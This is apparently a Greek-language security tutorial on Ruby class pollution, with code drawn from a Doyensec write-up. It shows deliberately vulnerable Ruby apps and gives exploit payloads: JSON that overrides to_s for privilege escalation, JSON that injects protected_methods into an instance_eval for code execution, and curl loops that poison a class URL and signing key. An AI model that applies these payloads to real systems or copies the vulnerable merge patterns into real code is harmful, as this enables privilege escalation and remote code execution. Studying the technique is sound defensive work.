# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html# Comments added to exploit the merge on attributesrequire'json'# Base class for both Admin and Regular usersclassPersonattr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)end# Authorize based on the `to_s` method resultdefauthorizeif to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endend# Health check that executes all protected methods using `instance_eval`defhealth_checkprotected_methods().each do|method|instance_eval(method.to_s)endendprivate# VULNERABLE FUNCTION that can be abused to merge attributesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendprotecteddefcheck_cpuputs"CPU check passed."enddefcheck_memoryputs"Memory check passed."endend# Admin class inherits from PersonclassAdmin<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)enddefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})# Perform a recursive merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorize# Execute health check (RCE vulnerability)# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.health_checkendendifARGV.length !=1puts"Usage: ruby class_pollution.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Εξήγηση
Privilege Escalation: Η μέθοδος authorize ελέγχει αν το to_s επιστρέφει "Admin." Με την εισαγωγή ενός νέου χαρακτηριστικού to_s μέσω JSON, ένας επιτιθέμενος μπορεί να κάνει τη μέθοδο to_s να επιστρέφει "Admin," παρέχοντας μη εξουσιοδοτημένα προνόμια.
Remote Code Execution: Στο health_check, το instance_eval εκτελεί μεθόδους που αναφέρονται στα protected_methods. Αν ένας επιτιθέμενος εισάγει προσαρμοσμένα ονόματα μεθόδων (όπως το "puts 1"), το instance_eval θα το εκτελέσει, οδηγώντας σε remote code execution (RCE).
Αυτό είναι δυνατό μόνο επειδή υπάρχει μια ευάλωτη εντολή eval που εκτελεί την τιμή της συμβολοσειράς αυτού του χαρακτηριστικού.
Περιορισμός Επιπτώσεων: Αυτή η ευπάθεια επηρεάζει μόνο μεμονωμένα παραδείγματα, αφήνοντας άλλα παραδείγματα του User και Admin ανεπηρέαστα, περιορίζοντας έτσι την έκταση της εκμετάλλευσης.
Πραγματικές Περιπτώσεις
ActiveSupport’s deep_merge
Αυτό δεν είναι ευάλωτο από προεπιλογή αλλά μπορεί να γίνει ευάλωτο με κάτι όπως:
# Method to merge additional data into the object using ActiveSupport deep_mergedefmerge_with(other_object)merged_hash = to_h.deep_merge(other_object)merged_hash.each do|key, value|self.class.attr_accessor keyinstance_variable_set("@#{key}", value)endselfend
Hashie’s deep_merge
Η μέθοδος deep_merge του Hashie λειτουργεί απευθείας σε χαρακτηριστικά αντικειμένων αντί για απλές καταχωρήσεις. Αποτρέπει την αντικατάσταση μεθόδων με χαρακτηριστικά σε μια συγχώνευση με κάποιες εξαιρέσεις: χαρακτηριστικά που τελειώνουν με _, !, ή ? μπορούν ακόμα να συγχωνευτούν στο αντικείμενο.
Μια ειδική περίπτωση είναι το χαρακτηριστικό _ από μόνο του. Απλά το _ είναι ένα χαρακτηριστικό που συνήθως επιστρέφει ένα αντικείμενο Mash. Και επειδή είναι μέρος των εξαιρέσεων, είναι δυνατόν να τροποποιηθεί.
Δείτε το παρακάτω παράδειγμα πώς η παράδοση {"_": "Admin"} επιτρέπει την παράκαμψη του _.to_s == "Admin":
require'json'require'hashie'# Base class for both Admin and Regular usersclassPerson<Hashie::Mash# Method to merge additional data into the object using hashiedefmerge_with(other_object)deep_merge!(other_object)selfend# Authorize based on to_sdefauthorizeif _.to_s =="Admin"puts"Access granted: #{@name} is an admin."elseputs"Access denied: #{@name} is not an admin."endendend# Admin class inherits from PersonclassAdmin<Persondefto_s"Admin"endend# Regular user class inherits from PersonclassUser<Persondefto_s"User"endendclassJSONMergerAppdefself.run(json_input)additional_object =JSON.parse(json_input)# Instantiate a regular useruser =User.new({name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}}})# Perform a deep merge, which could override methodsuser.merge_with(additional_object)# Authorize the user (privilege escalation vulnerability)# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'user.authorizeendendifARGV.length !=1puts"Usage: ruby hashie.rb 'JSON_STRING'"exitendjson_input =ARGV[0]JSONMergerApp.run(json_input)
Poison the Classes
Στο παρακάτω παράδειγμα είναι δυνατόν να βρείτε την κλάση Person, και τις κλάσεις Admin και Regular που κληρονομούν από την κλάση Person. Έχει επίσης μια άλλη κλάση που ονομάζεται KeySigner:
require'json'require'sinatra/base'require'net/http'# Base class for both Admin and Regular usersclassPerson@@url ="http://default-url.com"attr_accessor :name, :age, :detailsdefinitialize(name:, age:, details:)@name = name@age = age@details = detailsenddefself.url@@urlend# Method to merge additional data into the objectdefmerge_with(additional)recursive_merge(self, additional)endprivate# Recursive merge to modify instance variablesdefrecursive_merge(original, additional, current_obj= original)additional.each do|key, value|if value.is_a?(Hash)if current_obj.respond_to?(key)next_obj = current_obj.public_send(key)recursive_merge(original, value, next_obj)elsenew_object =Object.newcurrent_obj.instance_variable_set("@#{key}", new_object)current_obj.singleton_class.attr_accessor keyendelsecurrent_obj.instance_variable_set("@#{key}", value)current_obj.singleton_class.attr_accessor keyendendoriginalendendclassUser<Persondefinitialize(name:, age:, details:)super(name: name, age: age, details: details)endend# A class created to simulate signing with a key, to be infected with the third gadgetclassKeySigner@@signing_key ="default-signing-key"defself.signing_key@@signing_keyenddefsign(signing_key, data)"#{data}-signed-with-#{signing_key}"endendclassJSONMergerApp<Sinatra::Base# POST /merge - Infects class variables using JSON inputpost '/merge'docontent_type :jsonjson_input =JSON.parse(request.body.read)user =User.new(name: "John Doe",age: 30,details: {"occupation"=>"Engineer","location"=> {"city"=>"Madrid","country"=>"Spain"}})user.merge_with(json_input){ status: 'merged' }.to_jsonend# GET /launch-curl-command - Activates the first gadgetget '/launch-curl-command'docontent_type :json# This gadget makes an HTTP request to the URL stored in the User classifPerson.respond_to?(:url)url =Person.urlresponse =Net::HTTP.get_response(URI(url)){ status: 'HTTP request made', url: url, response_body: response.body }.to_jsonelse{ status: 'Failed to access URL variable' }.to_jsonendend# Curl command to infect User class URL:# curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"url":"http://example.com"}}}' http://localhost:4567/merge# GET /sign_with_subclass_key - Signs data using the signing key stored in KeySignerget '/sign_with_subclass_key'docontent_type :json# This gadget signs data using the signing key stored in KeySigner classsigner =KeySigner.newsigned_data = signer.sign(KeySigner.signing_key,"data-to-sign"){ status: 'Data signed', signing_key: KeySigner.signing_key, signed_data: signed_data }.to_jsonend# Curl command to infect KeySigner signing key (run in a loop until successful):# for i in {1..1000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}' http://localhost:4567/merge; done# GET /check-infected-vars - Check if all variables have been infectedget '/check-infected-vars'docontent_type :json{user_url: Person.url,signing_key: KeySigner.signing_key}.to_jsonendrun! if app_file == $0end
Είναι δυνατόν να τροποποιηθεί η τιμή του χαρακτηριστικού @@url της γονικής κλάσης Person.
Μολύνοντας Άλλες Κλάσεις
Με αυτό το payload:
for i in {1..1000}; docurl-XPOST-H"Content-Type: application/json"-d'{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"signing_key":"injected-signing-key"}}}}}}'http://localhost:4567/merge--silent>/dev/null; done
Είναι δυνατόν να γίνει brute-force στις καθορισμένες κλάσεις και σε κάποιο σημείο να δηλητηριαστεί η κλάση KeySigner τροποποιώντας την τιμή του signing_key σε injected-signing-key.\